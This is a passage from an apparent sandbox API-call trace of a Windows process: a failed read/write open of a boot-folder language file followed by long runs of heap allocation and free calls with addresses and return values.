returned=".mui" [0111.776] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.776] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af10 | out: hHeap=0x5010000) returned 1 [0111.776] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.776] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.776] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.776] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a36078 | out: hHeap=0x5010000) returned 1 [0111.776] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.776] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a36078 [0111.776] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.776] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.776] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.776] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.776] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.776] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.776] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.776] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.776] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.776] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.776] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.776] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.776] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.776] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.776] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.777] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.777] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.777] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.777] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.777] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.777] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.777] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.777] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.777] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.777] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.777] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.777] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.777] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.777] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.777] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.777] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.777] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.777] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.777] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.777] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.777] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.777] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.777] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.777] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.777] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.777] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.777] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.777] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.777] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.777] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.778] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.778] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.778] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.778] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.778] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.778] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.778] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.778] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.778] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.778] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.778] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.778] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.778] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.778] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.778] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.778] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.778] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.778] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.778] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.778] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.778] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.778] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.778] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.778] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.778] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.778] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.778] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.778] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.778] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.778] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.778] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.779] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.779] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.779] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.779] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.779] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.779] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.779] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.779] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.779] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0111.779] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.779] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.779] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.779] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.779] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.779] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.779] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.779] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.779] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.779] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.779] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.779] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.779] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.779] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.779] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.779] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.779] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.779] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.779] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.779] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.779] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.779] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.780] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.780] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.780] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.780] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.780] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.780] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.780] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.780] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.780] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.780] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.780] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.780] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.780] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.780] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.780] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.780] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.780] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.780] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.780] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.780] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.780] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.780] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.780] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.780] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.780] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.780] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.780] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.780] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.780] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.780] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.780] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.780] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.781] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.781] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.781] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.781] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.781] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.781] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.781] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.781] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.781] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.781] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.781] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.781] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.781] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.781] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.781] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.781] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.781] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.781] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.781] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.781] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.781] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.781] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.781] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.781] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.781] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.781] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.781] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.781] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.781] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.781] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.782] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.782] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.782] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.782] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.782] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.782] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.782] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.782] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.782] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.782] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.782] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.782] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.782] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.782] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.782] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.782] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.782] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.782] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.782] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.782] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.782] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.782] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.782] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.782] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.782] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.782] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.782] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.782] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.782] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.782] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.782] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.782] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.783] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.783] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.783] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.783] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.783] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.783] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.783] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.783] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.783] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.783] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.783] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.783] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.783] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.783] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.783] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.783] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.783] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.783] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.783] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.783] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.783] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.783] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.783] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.783] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.783] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.783] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.783] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.783] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, 